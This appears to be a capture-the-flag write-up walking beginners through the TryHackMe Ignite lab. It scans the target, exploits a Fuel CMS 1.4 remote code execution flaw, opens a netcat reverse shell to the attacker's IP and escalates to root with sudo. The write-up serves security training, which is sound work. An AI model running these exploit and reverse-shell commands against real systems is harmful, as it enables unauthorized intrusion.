TryHackMe - Ignite Room Walkthrough 🔥

A beginner-friendly walkthrough of the **Ignite** machine on TryHackMe. We'll do scanning, exploit a CMS, and get root access step by step.

🚀 Step 1: Nmap Scan

We start with a full Nmap scan to see which services are running.

```
nmap -sC -sV -oN ignite-nmap.txt <target-ip>
```

🔍 Nmap Results:

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

Only **port 80** is open, running a **web server**.

🌐 Step 2: Exploring the Website

Visit `http://<target-ip>` in the browser.

We see a **fuel CMS login page**. It's **Fuel CMS version 1.4** (check the page footer or page source).

🧪 Step 3: Exploit Fuel CMS

This version of Fuel CMS has a known **Remote Code Execution (RCE)** vulnerability.

We search on Google or use ExploitDB:

```
https://www.exploit-db.com/exploits/47138
```

💥 Exploit RCE

Run the following Python exploit or copy it from ExploitDB:

```
python3 exploit.py http://<target-ip> "whoami"
```

It runs commands on the server!

Try this next:

```
python3 exploit.py http://<target-ip> "nc -e /bin/bash <your-ip> 4444"
```

Make sure you have a listener ready:

```
nc -lvnp 4444
```

Now you get a reverse shell! 🎉

🔧 Step 4: Stabilize the Shell

Use this to get a better shell:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

🔑 Step 5: Get User Flag

Look for the `user.txt` file in `/home/<user>/` or `/var/www/`.

```
cat /home/www-data/user.txt
```

Copy the flag!

👑 Step 6: Privilege Escalation to Root

Check sudo permissions:

```
sudo -l
```

You'll see that the user can run `env` with sudo.

```
sudo env /bin/bash
```

Boom! You get a **root shell**.

🏁 Step 7: Get Root Flag

```
cat /root/root.txt
```

You now have both flags!
